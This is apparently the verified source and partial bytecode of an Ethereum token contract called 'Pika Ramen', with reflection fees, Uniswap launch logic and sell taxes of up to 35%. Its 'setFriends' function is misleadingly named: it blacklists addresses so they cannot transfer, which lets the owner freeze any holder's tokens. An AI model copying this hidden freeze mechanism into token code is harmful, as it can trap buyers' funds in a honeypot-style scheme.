if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PikaRamen is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode" Pika Ramen ";
string private constant _symbol = unicode" PKR ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600c81526020017f2050696b612052616d656e200000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600581526020017f20504b5220000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffff